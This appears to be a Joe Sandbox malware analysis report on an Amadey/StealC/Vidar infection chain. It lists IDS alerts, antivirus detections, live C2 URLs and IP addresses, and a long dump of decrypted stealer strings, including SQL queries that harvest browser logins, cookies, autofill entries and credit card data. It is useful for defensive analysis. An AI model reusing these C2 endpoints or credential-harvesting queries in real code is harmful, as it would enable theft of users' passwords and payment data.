ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T12:02:03.673868+0200
SID:	2856147
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:09.161122+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:17.708719+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:01:14.465229+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:02:20.237524+0200
SID:	2044243
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T12:02:04.737680+0200
SID:	2803305
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T12:02:11.701691+0200
SID:	2044696
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:14.276520+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T12:01:06.144381+0200
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T12:02:05.194565+0200
SID:	2009080
Source Port:	80
Destination Port:	49728
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/a=t	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpOb	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllO	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php/b3	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpOe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllc	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php_b#	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/;1	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.php/1	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/=1	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/soka/random.exeb3	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.phposition:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/stealc/random.exe-	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/stealc/random.exe/	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.php%	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php3	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\userAAKKKEBFCG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1312596
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence"}
Source: 9fa327eb6c.exe.7968.21.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}
Source: explorti.exe.7652.19.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded	Virustotal: Detection: 8%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllO	Virustotal: Detection: 23%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Virustotal: Detection: 17%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 42%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\userAAKKKEBFCG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 22
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 08
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 20
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 24
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Sleep
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sscanf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: silence
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sila
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Process32First
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindClose
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RmStartSession
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RmGetList
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RmEndSession
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: encrypted_key
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PATH
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: NSS_Init
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: browser:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: profile:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: url:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: login:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: password:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Opera
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: OperaGX
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Network
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: cookies
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: .txt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: TRUE
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FALSE
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: autofill
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: history
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: cc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: name:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: month:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: year:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: card:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Cookies
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Login Data
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Web Data
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: History
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: logins.json
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: usernameField
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: guid
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: places.sqlite
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: plugins
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: IndexedDB
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Opera Stable
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Opera GX Stable
